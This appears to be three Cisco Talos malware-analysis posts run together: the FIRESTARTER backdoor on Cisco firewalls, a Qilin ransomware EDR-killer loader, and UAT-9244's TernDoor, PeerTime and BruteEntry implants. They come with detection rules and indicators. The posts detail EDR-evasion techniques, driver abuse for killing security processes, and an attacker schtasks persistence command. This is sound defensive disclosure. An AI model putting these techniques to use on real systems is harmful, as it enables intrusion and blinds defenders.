In early 2024, Cisco Talos attributed ArcaneDoor, a state-sponsored campaign focused on gaining access to network perimeter devices for espionage, to UAT-4356.

Customers are advised to refer to Cisco’s Security Advisory for mitigation and detection guidance, indicators of compromise (IOCs), affected products, and applicable software upgrade recommendations.

---

The FIRESTARTER backdoor

FIRESTARTER is a malicious backdoor implanted by UAT-4356 that allows remote access and control to execute arbitrary code inside the LINA process, a core component of Cisco’s ASA and FTD appliances running FXOS.

Persistence

UAT-4356 established persistence for FIRESTARTER on compromised devices by manipulating the mount list for Cisco Service Platform (CSP), namely “CSP_MOUNT_LIST”, to execute FIRESTARTER. The mount list allows programs and commands to be executed as part of the device’s boot sequence. The persistence mechanism triggers during graceful reboot (i.e., when a process termination signal is received). FIRESTARTER also checks the runlevel for value 6 (indicating device reboot) and in case of a match, writes itself to backup location “/opt/cisco/platform/logs/var/log/svc_samcore.log" and updates the CSP_MOUNT_LIST to copy itself back to “/usr/bin/lina_cs” and then be executed. When FIRESTARTER runs after a reboot, it restores the original CSP_MOUNT_LIST and removes the trojanized copy. Because the runlevel triggers establishment of this transient persistence mechanism, a hard reboot (for example, after the device has been unplugged from power) effectively removes the implant from the device.

FIRESTARTER has used the following commands to establish persistence for itself using the transient persistence mechanism:

When the implant injects itself into the LINA process, it removes the traces of its persistence mechanism by restoring the CSP_MOUNT_LIST from a temporary copy (“CSP_MOUNTLIST.tmp”), then removing the temporary copy and the FIRESTARTER file from disk (“/usr/bin/lina_cs”).

FIRESTARTER’s backdoor capabilities

FIRESTARTER can run arbitrary shellcode received by the device. A pre-defined handler function specified by a hardcoded offset in the LINA process’ memory is replaced by an unauthorized handler routine that parses the data being served to it. FIRESTARTER specifically looks for a WebVPN request XML. If the request data received matches a specific pattern of custom-defined prefixing then the shellcode that immediately follows it is executed in memory. If the prefixing bytes are not found, then the data is treated as regular request data and passed to the original handler function (if any).

FIRESTARTER’s loading mechanism, Stage 2 shellcode (i.e., the actual request handler component), handler function replacement, XML parsing for magic bytes, and final payload execution display considerable overlaps with RayInitiator’s Stage 3 deployment actions and accompanying artifacts.

Injecting and activating the malicious shellcode in LINA

FIRESTARTER first reads the LINA process’ memory to search for and verify the presence of the bytes (long) 0x1, 0x2, 0x3, 0x4, 0x5 at specific locations in memory. If found, FIRESTARTER will then query the process’ memory to find an “r-xp” memory range for the shared library “libstdc++.so”. It then copies the next stage shellcode (Stage 2) to the last 0x200 bytes of the memory region. FIRESTARTER then overwrites an internal data structure in the LINA process’ memory to replace a pointer to a WebVPN-specific, legitimate XML handler function with the address of the malicious Stage 2 shellcode.

The malicious shellcode is triggered as part of the authentication API’s request handling process and parses the incoming request data for magic markers signifying an executable payload. If found, the executable payload is then executed on the compromised device.

---

Detection guidance

The presence of the following artifacts - specifically the filenames “lina_cs” and “svc_samcore.log” - though somewhat brittle indicators, may indicate the presence of the FIRESTARTER on a Firepower device:

• Any output from the commands:
  • show kernel process | include lina_cs
• The presence of the following files on disk:
  • /usr/bin/lina_cs
  • /opt/cisco/platform/logs/var/log/svc_samcore.log

For more comprehensive detection guidance, please refer to Cisco’s Security Advisory here. Please also refer to CISA’s update to V1: Emergency Directive (ED) 25-03: Identify and Mitigate Potential Compromise of Cisco Devices and FIRESTARTER Backdoor Malware Analysis Report for more information and guidance.

 

Mitigation and coverage

We recommend that Cisco customers follow the steps recommended in Cisco's advisory, with particular attention to any applicable software upgrade recommendations. Organizations impacted can initiate a TAC request for Cisco support.

A FIRESTARTER infection may be mitigated on all affected devices by reimaging the devices.

On Cisco FTD software that is not in lockdown mode, there is also the option of killing the lina_cs process then reloading the device:

> expert
$ sudo kill -9 $(pidof lina_cs)
$ exit
> reboot

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort rules cover the vulnerabilities CVE-2025-20333 and CVE-2025-20362: 65340, 46897.

Snort rules covering FIRESTARTER: 62949

The following ClamAV signatures detect this threat: Unix.Malware.Generic-10059965-0

• Endpoint detection and response (EDR) tools are widely deployed and far more capable than traditional antivirus. As a result, attackers use EDR killers to disable or bypass them.
• Disabling telemetry collection (process, memory, network activity) limits what defenders can see and analyze.
• As defenders improve behavioral detection, attackers increasingly target the defense layer itself as part of their initial access or early execution stages.
• This blog provides an in-depth analysis of the malicious “msimg32.dll” used in Qilin ransomware attacks, which is a multi-stage infection chain targeting EDR systems. It can terminate over 300 different EDR drivers from almost every vendor in the market.
• We present multiple techniques used by the malware to evade and ultimately disable EDR solutions, including SEH/VEH-based obfuscation, kernel object manipulation, and various API and system call bypass methods.

---

This blog post provides an in-depth technical analysis of the malicious dynamic-link library (DLL) “msimg32.dll”, which Cisco Talos observed being deployed in Qilin ransomware attacks. The broader activities and attacks of Qilin was previously introduced and described in the blog post here.

This DLL represents the initial stage of a sophisticated, multi-stage infection chain designed to disable local endpoint detection and response (EDR) solutions present on compromised systems. Figure 1 shows a high-level diagram demonstrating the overall execution flow of this infection chain.

The first stage consists of a PE loader responsible for preparing the execution environment for the EDR killer component. This secondary payload is embedded within the loader in an encrypted form.

The loader implements advanced EDR evasion techniques. It neutralizes user-mode hooks and suppresses Event Tracing for Windows (ETW) event generation at runtime by leveraging a -like approach. Additionally, it makes extensive use of structured exception handling (SEH) and vectored exception handling (VEH) to obscure control flow and conceal API invocation patterns. This enables the EDR killer payload to be decrypted, loaded, and executed entirely in memory without triggering detection by the locally installed EDR solution.

Once active, the EDR killer component loads two helper drivers. The first driver (“rwdrv.sys”) provides access to the system’s physical memory, while the second driver (“hlpdrv.sys”) is used to terminate EDR processes. Prior to loading the second driver, the EDR killer component unregisters monitoring callbacks established by the EDR, ensuring that process termination can proceed without interference.

Overall, the malware is capable of disabling over 300 different EDR drivers across a wide range of vendors. While the campaign has been previously reported by , , and others at a higher level, this analysis focuses on previously undocumented technical details of the infection chain (e.g., the SEH/VEH tricks and the overwriting of certain kernel objects).

PE loader section (“msimg32.dll”)

The malicious DLL is most likely side-loaded by a legitimate application that imports functions from “msimg32.dll”. To preserve expected functionality, the original API calls are forwarded to the legitimate library located in “C:\Windows\System32”.

The version of “msimg32.dll” deployed by the threat actor triggers its malicious logic from within its DllMain function. As a result, the payload is executed as soon as the legitimate application loads the DLL.

Sophos also gave some technical and historical insights into this loader in their earlier blog, in which it is referred to as Shanya.

Initialization phase

During initialization, the loader allocates a heap buffer in process memory that acts as a slot-policy table.

The size of this buffer is computed as "ntdll.dll" OptionalHeader.SizeOfCode divided by 16 ( SizeOfCode >> 4), resulting in one byte per 16-byte code slot covering the code region as defined by OptionalHeader.SizeOfCode (typically the .text range). Each entry in the table corresponds to a fixed 16-byte block relative to BaseOfCode.

The loader then iterates over the export table of “ntdll.dll”. For each exported function whose name begins with "Nt", the virtual address of the corresponding syscall stub is resolved. From this address, a slot index is calculated as: slot_idx = (FuncVA - BaseOfCode)/16

This index is used to mark the corresponding entry in the slot-policy table. All Nt* stubs are assigned a default policy, while selected functions are explicitly marked with special policies, including:

• NtTraceEvent
• NtTraceControl
• NtAlpcSendWaitReceivePort

The result is a data-driven classification of relevant syscall stubs without modifying the executable code of “ntdll.dll”. The resulting slot-policy-table appears as follows:

The actual loader function is significantly more complex and incorporates additional obfuscation techniques, such as hash-based API resolution at runtime.

After constructing the table, the sample dynamically resolves ntdll!LdrProtectMrdata, which will be discussed in greater detail later. It then invokes this routine to change the protection of the .mrdata section to writable. This section contains the exception dispatcher callback pointer along with other critical runtime data.

Once the section is writable, the loader overwrites the dispatcher slot with its own custom exception handler. As a result, its routine is executed whenever an exception is triggered.

Runtime exception handling

This function primarily performs two tasks: handling breakpoint exceptions and single-step exceptions.

The handling of breakpoint exceptions (0xCC) is relatively straightforward. It simply resumes execution at the instruction immediately following the INT3 (0xCC). Talos is not certain why this approach was implemented. It may function as a lightweight anti-emulation, anti-analysis, or anti-sandbox mechanism for weak analysis systems, serve as groundwork for more advanced anti-debugging techniques, or act as preparation for future control-flow manipulation similar to the VEH-based logic observed in Stages 2 and 3.

The single-step portion of the function is significantly more complex and is where the previously introduced slot-policy table is utilized. ctx->ntstub_class_map points to the map buffer allocated during initialization.

Simplified the logic of the initialization and dispatch function looks like this in pseudo code. InitCtxAndPatchNtdllMrdataDispatch is the initialization function and hook_function_ExceptionCallback is the dispatch function mentioned above.

The find_syscall routine shown in Figure 7 implements a syscall recovery technique. Details can be found in the picture below. It scans both backward and forward through “ntdll.dll” to locate intact syscall stubs and identify neighboring syscalls that can be repurposed.

The simplified logic is as follows:

• Indirectly determine the target syscall number by scanning forward and backward.
• Locate a clean neighbouring stub.
• Manually load the correct syscall ID into eax.
• Transition directly to kernel mode using the syscall instruction (i.e., a syscall instruction located inside a clean neighboring stub).

By reusing a neighboring syscall stub to invoke the desired system call, the loader bypasses EDR-hooked syscalls without modifying the hooked code itself. The Windows kernel only evaluates the syscall ID in eax; it does not verify which exported API function initiated the call.

As previously mentioned, the actual code of the malware is more complex (e.g., the aforementioned runtime resolution of ntdll!LdrProtectMrdata).

The loader resolves the ntdll!LdrProtectMrdata function in a stealthy way. Instead of resolving LdrProtectMrdata by name or hash, the loader instead:

• Finds the .mrdata section in the “ntdll.dll” image
• Checks whether the current dispatcher slot pointer (dispatch_slot) lies inside .mrdata
• If it does, it uses a known exported ntdll function (RtlDeleteFunctionTable, located via hash) as an anchor
• From that anchor, it scans for a CALL rel32 instruction (0xE8) and extracts its target address
• That call target is the address of LdrProtectMrdata and stored in ctx->LdrProtectMrdata

The initialization routine described earlier also incorporates several basic anti-debugging measures. For example, it verifies whether a breakpoint has been placed on KiUserExceptionDispatcher. If such a breakpoint is detected, the process is deliberately crashed. This check is performed before the dispatcher is overwritten, which means that the resulting exception is handled by the original, default exception handler.

The loader also implements geo-fencing. It excludes systems configured for languages commonly used in post-Soviet countries. This check is performed at an early stage, and the loader terminates if a locale from the exclusion list is detected.

After initializing Stage 1, the loader proceeds to unpack the subsequent stages. It creates a paging file-backed section and maps two views of this section into the process address space. This aspect was not analyzed in depth; however, creating two views of the same section is a common malware technique used to obscure a READ-WRITE-EXECUTABLE memory region. Typically, one view is configured with WRITE access only, masking the effective executable permissions of the underlying section. This shared memory region will contain subsequent malware stages after unpacking them. This also makes it more difficult to dump the memory during analysis. When a virtual memory page is not currently present in RAM (present bit cleared), accessing it triggers a page fault. The kernel then resolves the fault (e.g., by loading the page from the pagefile into physical memory).

After creating the views, it copies and decodes bytes into this buffer. The basic block highlighted in green marks the start of this routine, while the red basic block represents the final control transfer (see Figure 17) to the decoded payload. The yellow basic block contains the decision logic that determines when execution transitions to the red basic block.

Inside the red basic block, we have the final jump into the decoded bytes of Stage 2.

Stage 2

Stage 2 (0x2470000) serves solely as a stealthy transition mechanism to transfer execution to Stage 3. As expected, all addresses referenced from this point onward, such as 0x2470000, may vary between executions of the loader, as they are dynamically allocated at runtime.

The initial part of Stage 2 is straightforward: It decodes the data stored in the memory section and then unmaps the previously mapped view. The subsequent function call constitutes the critical step: ctx->FuncPtrHookIAT((ULONGLONG)ctx->hooking_func);

This IAT-hooking routine overwrites the ExitProcess entry in the Import Address Table (IAT) of the main process (i.e., the process that loaded the malicious “msimg32.dll”).

As shown in Figure 18, execution returns normally from Stage 2, and DllMain completes without any obvious anomalies. The malicious logic is triggered later, when ExitProcess is invoked by exit_or_terminate_process during process termination. Instead of terminating the process, execution is redirected to function 0x2471000, which corresponds to Stage 3.

Stage 3

Stage 3 primarily decompresses and loads a PE image from memory that was originally embedded within the malicious “msimg32.dll”. It begins by resolving syscall stubs, which are used in subsequent code sections followed by decoding routines.

After several decoding and preparation steps, the PE image is decompressed from memory.

After the PE image has been decompressed, the final routine responsible for preparing, loading, and ultimately executing the PE can be found at 0x24A2CE7 in this run.

The fix_and_load_PE_set_VEH function begins by mapping “shell32.dll” into the process address space using NtCreateFile, NtCreateSection, and MapViewOfFile. It then overwrites the in-memory contents of “shell32.dll” with the previously loaded PE image.

After copying the embedded and decoded PE image into memory, the code manually applies base relocations.

After preparing the PE for in-memory execution, the loader employs a technique similar to Stage 2, but this time leveraging a vectored exception handler (VEH). After registering the VEH, it triggers the handler by setting a hardware breakpoint on ntdll!NtOpenSection. To indirectly invoke NtOpenSection, the loader subsequently loads a fake DLL via a call to the LdrLoadDll API. It appears that the malware author intentionally chose a name referencing a well-known security researcher, likely as a provocative touch.

After several intermediate steps, this results in a call to NtOpenSection, which triggers the previously configured hardware breakpoint and, in turn, invokes the VEH. The first time the VEH is triggered at NtOpenSection, it executes the code in Figure 29.

It modifies the “shell32.dll” name in memory to “hasherezade_[redacted].dll”, then adjusts RIP in the context record to point to the next ret instruction (0xC3) within the NtOpenSection stub and sets a new hardware breakpoint on NtMapViewOfSection. In addition, it updates the stack pointer to reference LdrpMinimalMapModule+offset, where the offset corresponds to an instruction immediately following a call to NtOpenSection inside LdrpMinimalMapModule. It then invokes NtContinue, which resumes execution at the RIP value stored in the context record (i.e., at the ret instruction). That ret instruction subsequently transfers control to the address prepared on the stack, namely LdrpMinimalMapModule+offset.

cr_1->rsp = LdrpMinimalMapModule+offset
cr_1->rip = ntdll!NtOpenSection+0x14 = ret ; jumps to <rsp> when executed

During execution of LdrpMinimalMapModule, a call to NtMapViewOfSection is made, which triggers the hardware breakpoint set by the previous routine. On this occasion, the VEH executes the code in Figure 31.

It deletes all HW breakpoints and then sets the stackpointer to an address which points to an address in LdrMinimalMapModule+offset. As expected, this is right after a call to NtMapViewOfSection. In other words, the registers in the context are overwritten like this:

ctx->rsp -> ntdll!LdrpMinimalMapModule+0x23b
ctx->rip -> ntdll!NtMapViewOfSection+0x14 = ret

When the return (ret) instruction is reached, it jumps to the address stored in the stack pointer (rsp).

The subsequent code in LdrpMinimalMapModule maps the previously restored PE image into the process address space and prepares it for execution. Finally, control returns to 0x24A3C1E, the instruction immediately following the call that originally triggered the first hardware breakpoint.

After several additional fix-up steps, the loader transfers execution to Stage 4 (i.e., the loaded PE image).

This PE file is an EDR killer capable of disabling over 300 different EDR drivers across a wide range of solutions. A detailed analysis of this component will be provided in the next section.

PE loader summary

The first three stages of this binary implement a sophisticated and complex PE loader capable of bypassing common EDR solutions by evading user-mode hooks through carefully crafted SEH and VEH techniques. While these methods are not entirely novel, they remain effective and should be detectable by properly implemented EDR solutions.

The loader decrypts and executes an embedded PE payload in memory. In this campaign, the payload is an EDR killer capable of disabling over 300 different EDR products. This component will be analyzed in detail in the next section.

EDR killer

Stage 4: Extracted EDR killer PE file

Besides initialization, the first thing the extracted PE from Stage 3 does is check again if the system locale matches a list of post-Soviet countries and, if it does, it crashes. This is another indicator that former stages are just a custom PE loader, which could be used to load any PE the adversaries want. Otherwise, doing the same check again is not logical.

The malware then attempts to elevate its privileges and load a helper driver. This also implies that the process must be executed with administrative privileges.

The “rwdrv.sys” driver is a renamed version of “ThrottleStop.sys”, originally distributed by TechPowerUp LLC and signed with a valid digital certificate. It is legitimately used by tools such as GPU-Z and ThrottleStop. This is not the first observed abuse of this ; it has previously been leveraged in several malware campaigns.

Despite its benign origin, the driver exposes highly powerful functionality and can be loaded by arbitrary user-mode applications. Critically, it implements these capabilities without enforcing meaningful security checks, making it particularly attractive for abuse.

This driver exposes a low-level hardware access interface to user mode via input/output controls (IOCTLs). It allows a user-mode application to directly interact with system hardware.

The driver implements IOCTL handlers that provide the following capabilities:

• I/O port access
  • Read from hardware ports (inb/inw/ind)
  • Write to hardware ports (outb/outw/outd)
• CPU Model Specific Register (MSR) access
  • Read MSRs (__readmsr)
  • Write MSRs (__writemsr) with limited protection against modifying critical syscall/sysenter registers
• Physical memory/MMIO access
  • Map arbitrary physical memory into kernel space using MmMapIoSpace
  • Create a user-mode mapping of the same memory using MmMapLockedPagesSpecifyCache
  • Maintain up to 256 active mappings per driver instance
  • Provide an IOCTL to release/unmap those mappings
• Direct physical memory access
  • Read physical memory values
  • Write physical memory values
• PCI configuration space access
  • Read PCI configuration registers (HalGetBusDataByOffset)
  • Write PCI configuration registers (HalSetBusDataByOffset)

Additionally, the driver tracks the number of open handles and associates memory mappings with the calling process ID.

Overall, the driver functions as a generic kernel-mode hardware access layer, exposing primitives for port I/O, MSR access, physical memory mapping, and PCI configuration operations. Such functionality is typically used by hardware diagnostic tools, firmware utilities, or low-level system utilities, but it also provides powerful primitives that could be abused if accessible from unprivileged user-mode.

The two important functions heavily used by the sample are the ability to read and write physical memory.

After loading the driver, the malware proceeds to determine the Windows version. To do so, it first resolves the required API function using a PEB-based lookup routine, a technique consistently employed throughout the sample.

The implementation parses the Process Environment Block (PEB) and locates the target module by finding the hash of its name. Then the ResolveExportByHash function takes the module base from the previously found DLL and parses its PE header to find the function that corresponds to the function hash. It can either provide the API function address as an PE offset or as a virtual address.

After a couple of initializations and checks, it gets the “rwdrv.sys” handle, followed by the EDR-related part of the sample — the kernel tricks which are responsible for avoiding, blinding, and disabling the EDR.

However, let’s have a brief look into the details. It starts with building a vector of physical memory pages. This vector will later be used in subsequent methods.

The SetMemLayoutPointer function in the if statement above leverages the NtQuerySystemInformation API function to gather the Superfetch information about the physical memory pages. It stores a pointer to this information in global variables (mem_layout_v1_ptr or mem_layout_v2_ptr). Which one is used depends on the version variable which is the argument handed over to the function. In our case, 1 is for calling the function the first time and 2 is for the second time. In other words, it brute-forces whichever version works for the Windows system it is running on.

The BuildSuperfetchPfnMetadataList function is quite large and complex. Simplified, it starts by using the mem_layout pointer to calculate the total page count.

It then ends by using NtQuerySystemInformation again to get the physical pages and their meta data to store this information in a global vector (g_PfnVector).

Back to the block from the above, the next step blinds the EDRs by deleting their callbacks for certain operations (e.g., process creation, thread creation, and image loading events).

The unregister_callbacks function iterates through a list of over 300 driver names which are stored in the sample.

It also demonstrates the overall implementation of the malware, which is also used in several other functions. It uses a certain API function to calculate an offset to the function or object it is really using — in this case, the kernel callback cng!CngCreateProcessNotifyRoutine. It also does not touch this object in the process virtual address space. It uses the driver loaded earlier (“rwdrv.sys”) to get the physical memory address of it. The logic and driver communication is implemented in the read_phy_bytes function, and the same for overwriting memory; the write_to_phy_mem function is used to handle the driver communications. The DeviceIoControlImplementation function which talks to the driver is implemented in write_to_phy_mem.

The other callback-related functions shown in Figure 44 work similarly to the one we discussed. They overwrite or unregister other EDR-specific callbacks, which were set by the EDR Mini-Filter driver.

The final part of the EDR killer begins by loading another driver (“hlpdrv.sys”).

The malware uses the driver to terminate EDR processes running on the system using the IOCTL code 0x2222008. This executes the function in the driver which is responsible for unprotecting and terminating the process.

Once terminated, EDR processes such as Windows Defender no longer run, as demonstrated in Figure 56.

Additionally, it restores the CiValidateImageHeader callback. The RestoreCiValidateImageHeaderCallback function is shown in Figure 57.

This is accomplished using the same concept we previously saw in Figure 52:

• Resolve a known API function.
• Use this function as an anchor point to locate a specific instruction within its code.
• This instruction contains a pointer in one of its operands that points to, or near, the object of interest.
• Identify the pointer to the target object within that instruction.
• Perform a sign extension on the operand.
• Add an additional offset to compute the final address of the object being sought — in this case, the CiValidateImageHeader callback.
• Restore the original function pointer to CiValidateImageHeader.

Note that the malware had previously overwritten the callback to CiValidateImageHeader with the address of ArbPreprocessEntry, a function that always returns true. In other words, it has now restored the original Code Integrity check.

Summary

This blog was a technical deep dive into the infection chain that is hidden in the malicious “msimg32.dll”, which has been observed during Qilin ransomware attacks. It demonstrates the sophisticated tricks the malware is employing to circumvent or completely disable modern EDR protection features on compromised systems.

It is encouraging to see how many hurdles modern malware must overcome. At the same time, this highlights that even state-of-the-art defense mechanisms can still be bypassed by determined adversaries. Defenders should never rely on a single product for protection; instead, Talos strongly recommends a multi-layered security approach. This significantly increases the difficulty for attackers to remain undetected, even if they manage to evade one line of defense.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Malware.Bumblebee-10056548-0
• Win.Tool.EdrKiller-10059833-0
• Win.Tool.ThrottleStop-10059849-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Covering Snort2 SID(s): 1:66181, 1:66180
• Covering Snort3 SID(s): 1:301456

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

msimg32.dll
MD5: 89ee7235906f7d12737679860264feaf
SHA1: 01d00d3dd8bc8fd92dae9e04d0f076cb3158dc9c
SHA256: 7787da25451f5538766240f4a8a2846d0a589c59391e15f188aa077e8b888497

rwdrv.sys
MD5: 6bc8e3505d9f51368ddf323acb6abc49
SHA1: 82ed942a52cdcf120a8919730e00ba37619661a3
SHA256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0

hlpdrv.sys
cf7cad39407d8cd93135be42b6bd258f
ce1b9909cef820e5281618a7a0099a27a70643dc
bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56

EDRKiller.exe (non-fixed memory dump with overlay)
MD5: 1305e8b0f9c459d5ed85e7e474fbebb1
SHA1: 84e2d2084fe08262c2c378a377963a1482b35ac5
SHA256: 12fcde06ddadf1b48a61b12596e6286316fd33e850687fe4153dfd9383f0a4a0
Time stamp: 0x684d33f0 (14. June 2025, 08:33:52 UTC)
ImpHash : 05aa031a007e2f51e3f48ae2ed1e1fcb
TLSH: T1B4647C01B7E50CF9EE77C638C9614A06EA72BC425761DADF43A04A964F237D09E3DB12

• Cisco Talos is disclosing UAT-9244, who we assess with high confidence is a China-nexus advanced persistent threat (APT) actor closely associated with Famous Sparrow.
• Since 2024, UAT-9244 has targeted critical telecommunications infrastructure, including Windows and Linux-based endpoints and edge devices in South America, proliferating access via three malware implants.
• The first backdoor, “TernDoor,” is a new variation of the previously disclosed, Windows-based, CrowDoor malware.
• Talos also discovered that UAT-9244 uses “PeerTime,” an ELF-based backdoor that uses the BitTorrent protocol to conduct malicious operations on an infected system.
• UAT-9244’s third implant is a brute force scanner, which Talos tracks as “BruteEntry.” BruteEntry is typically installed on network edge devices, essentially converting them into mass-scanning proxy nodes, also known as Operational Relay Boxes (ORBs) that attempt to brute force into SSH, Postgres, and Tomcat servers.

---

Introducing TernDoor: A variant of CrowDoor

UAT-9244 used dynamic-link library (DLL) side-loading to activate multiple stages of their infection chain. The actor executed “wsprint[.]exe”, a benign executable that loaded the malicious DLL-based loader “BugSplatRc64[.]dll”. The DLL reads a data file named “WSPrint[.]dll” from disk, decrypts its contents, and executes them in memory to activate TernDoor, the final payload.

TernDoor is a variant of CrowDoor, a backdoor deployed in recent intrusions linked to China-nexus APTs such as FamousSparrow and Earth Estries. CrowDoor is a variant of SparrowDoor, another backdoor attributed to FamousSparrow. CrowDoor has also been observed in previous Tropic Trooper intrusions,  indicating a close operational relationship with FamousSparrow. Based on the overlap in tooling; tactics, techniques, and procedures (TTPs); and victimology, we assess with high confidence that UAT-9244 closely overlaps with FamousSparrow and Tropic Trooper.

Although UAT-9244 and Salt Typhoon both target telecommunications service providers, Talos has not been able to verify or establish a solid connection between the two clusters.

The DLL-based loader

The DLL-based loader, “BugSplatRc64.dll”, will load the “WSPrint.dll” file from the current directory, which will be decoded using the key “qwiozpVngruhg123”.

The decoded shellcode is position-independent and decodes and decompresses the final payload. The final payload is the TernDoor implant.

TernDoor

The final shellcode consists of the TernDoor backdoor. TernDoor is a variant of CrowDoor, actively developed and used by UAT-9244 since at least November 2024. TernDoor deviates from CrowDoor in the following aspects:

• TernDoor consists of command codes that are different from previously disclosed variants of CrowDoor.
• The TernDoor shellcode also consists of an embedded Windows driver (SYS file). The driver is encrypted using AES in the shellcode. The driver is used to suspend, resume, and terminate processes.

Persistence

The TernDoor infection chain is persisted on the system using either a scheduled task or the Registry Run key.

The scheduled task is named “WSPrint” and created using the command:

schtasks /create /tn WSPrint /tr "C:\ProgramData\WSPrint\WSPrint.exe" /ru "SYSTEM" /sc onstart /F

Furthermore, TernDoor modifies the following task-related registry keys to hide the task:

• Deletes HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\WSPrint | SD
• Modifies HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\WSPrint | Index = from 1 to 0

A Registry Run key may also be set to run the executable on user login:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Default = C:\ProgramData\WSPrint\WSPrint.exe

Command line switch

Unlike CrowDoor, TernDoor only supports one command line switch: “-u”, passed to WSPrint.exe. This is the switch for uninstalling the malware from the system and it deletes all malware files from the operating directory, as well as terminates malicious processes.

Decoding the configuration

Like previous variants of CrowDoor, TernDoor also checks to ensure it has been injected into “msiexec[.]exe”. The implant decodes its configuration that can specify the following information:

• Command and control (C2) IP address
• Number of tries to connect to the C2
• C2 port number
• User-Agent to use while connecting to C2 (if applicable)

TernDoor functionality

TernDoor’s capabilities resemble those of previously disclosed CrowDoor samples:

• Communicates with the C2 IP address
• Creates processes and runs arbitrary commands via remote shell and independently
• Reads and writes files
• Collects system information such as computer and user name, IP address information, and OS bitness
• Uninstalls itself from the infected system
• Deploys the accompanying driver to hide malicious components and perform process management

The accompanying Windows driver, WSPrint.sys, is dropped to disk and then activated using a windows service:

 The driver creates a device named “\\Device\\VMTool” and symbolically links it to “\\DosDevices\\VMTool”. It can terminate, suspend, or resume processes specified by TernDoor — likely a means of evasion.

TernDoor infrastructure

All the C2 IP addresses discovered by Talos were associated with the following SSL certificate on port 443:

SSL_fingerprint_sha256= 0c7e36683a100a96f695a952cf07052af9a47f5898e1078311fd58c5fdbdecc8
SSL_fingerprint_SHA1= 2b170a6d90fceba72aba3c7bc5c40b9725f43788
Data:
Version: V3
Serial Number: 1
Thumbprint: 2b170a6d90fceba72aba3c7bc5c40b9725f43788
 
Signature Algorithm:
Issuer: C=US ST=Some-State O=Internet Widgits Pty Ltd CN=8.8.8.8
Validity
Not Before: 2022-09-04 12:54:51
Not After: 2023-09-04 12:54:51
Subject: C=US ST=Some-State O=Internet Widgits Pty Ltd CN=8.8.8.8

Pivoting off this certificate, Talos found an additional 18 IPs likely being used by UAT-9244. This list is provided in the indicators of compromise (IOCs) section.

One of the DLL-based loaders was also hosted on the IP “212.11.64[.]105”. On this server, we discovered a set of shell scripts and an accompanying malware family we track as “PeerTime.”

PeerTime: UAT-9244's peer-to-peer (P2P) backdoor

PeerTime is an ELF based backdoor that is compiled for a variety of architectures such as ARM, AARCH, PPC, MIPS etc., indicating that UAT-9244 can use it to infect a variety of embedded systems.

PeerTime is deployed through a shellscript that downloads the PeerTime loader ELF binary and an instrumentor binary.

The instrumentor ELF binary will check for the presence of docker on the compromised host using the commands docker and docker –q.

If docker is found, then the PeerTime loader is executed using:

docker <path_of_PeerTime_loader_ELF>

The instrumentor consists of debug strings in Simplified Chinese, indicating that it is a custom binary created and deployed by Chinese-speaking threat actors:

获取当前程序路径错误:     //Error retrieving current program path:
删除当前程序错误:                // Error deleting current program:

PeerTime consists of a loader that will decrypt and decompress the final PeerTime ELF payload and run it in memory. The PeerTime loader has the ability to rename its process to a benign process to evade detection.

PeerTime uses the BitTorrent protocol to obtain C2 information, download files from its peers, and execute them on the infected host. The payloads are written to disk and copied to the specified locations using BusyBox. As of now, PeerTime consists of two versions: one written in C/C++ and a newer version written in Rust.

PeerTime is also known as “angrypeer” and can be tracked in VirusTotal using the “malware_config:angrypeer” query. Malware configurations in VirusTotal are identified using Mandiant’s/GTIG’s Backscatter tool.

Setting up ORBs via BruteEntry

Infrastructure used by UAT-9244 also hosts another set of shell scripts and payloads designed to establish compromised Linux based systems including edge devices as operational relay boxes (ORBs) that scan and brute force Tomcat, Postgres, and SSH servers.

The shell script will download two components:

• An instrumentor and daemon process that activates the actual brute forcer
• The actual brute forcer (named BruteEntry) that obtains target IPs from the C2 server and scans the IPs

The instrumentor binary

The instrumentor binary is an ELF file written in GoLang. It checks if the BruteEntry is already running on the system using “pgrep”:

pgrep <path_to_BruteEntry>

And then starts the brute forcer agent:

./<path_to_BruteEntry>

BruteEntry

BruteEntry is also written in GoLang and begins by registering with the C2 server by providing it with the infected system’s IP address and computer name:

{“ip”:“value”, “hostname”:“value”}

 The C2 responds with a JSON that assigns an agent_id to the infected host:

{“agent_id”:“value”, “server”:“value”}

where “server” = version string of BruteEntry such as “brute-force-server-v1.0”

 BruteEntry will then ask the C2 for tasks to perform by sending a GET request to the C2 at the URI, where limit=1000 is the maximum number of vulnerable IPs to scan:

/tasks/<agent_id>?limit=1000

The C2 responds with a JSON that consists of “tasks” containing the list of IPs to brute force:

{"tasks":[
{"id":,"target":":","type":""},
{"id":,"target":":","type":""},
. . . . .
] }

 The “type” field in the json defines the type of scan to conduct — either “tomcat”,“postgres”, or “ssh”.

The agent will then use a set of embedded credentials to attempt to brute force into either a Tomcat server application at the URL “https[://]<IP>:<Port>/manager/html”, or will brute force into a Postgres instance, either defined in the JSON (<IP><Port>) from the C2 or using the port 5432 if no port is specified.

Any successful logins are then POSTED back to the C2:

{"batch":[
{"task_id":<task_id>,"success":<true/false>,"note":" <notes on the task>"},
{"task_id":<task_id>,"success":<true/false>,"note":" <notes on the task>"},
......
]}

 In this instance, “success” indicates if the brute force was successful (true or false), and “notes” provides specific information on whether the brute force was successful. If the login failed, the note reads “All credentials tried.” If it succeeded, the note reads “Cracked by agent <agent_id> | Version <agent_version>”.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Loader.PeerTime
• Win.Malware.TernDoor
• Unix.Malware.BruteEntry
• Txt.Malware.PeerTime
• Unix.Malware.PeerTime

The following SNORT® rules (SIDs) detect and block this threat: 65551

IOCs

TernDoor Loader DLL

711d9427ee43bc2186b9124f31cba2db5f54ec9a0d56dc2948e1a4377bada289
3c098a687947938e36ab34b9f09a11ebd82d50089cbfe6e237d810faa729f8ff
f36913607356a32ea106103387105c635fa923f8ed98ad0194b66ec79e379a02

 Encoded TernDoor payload

A5e413456ce9fc60bb44d442b72546e9e4118a61894fbe4b5c56e4dfad6055e3
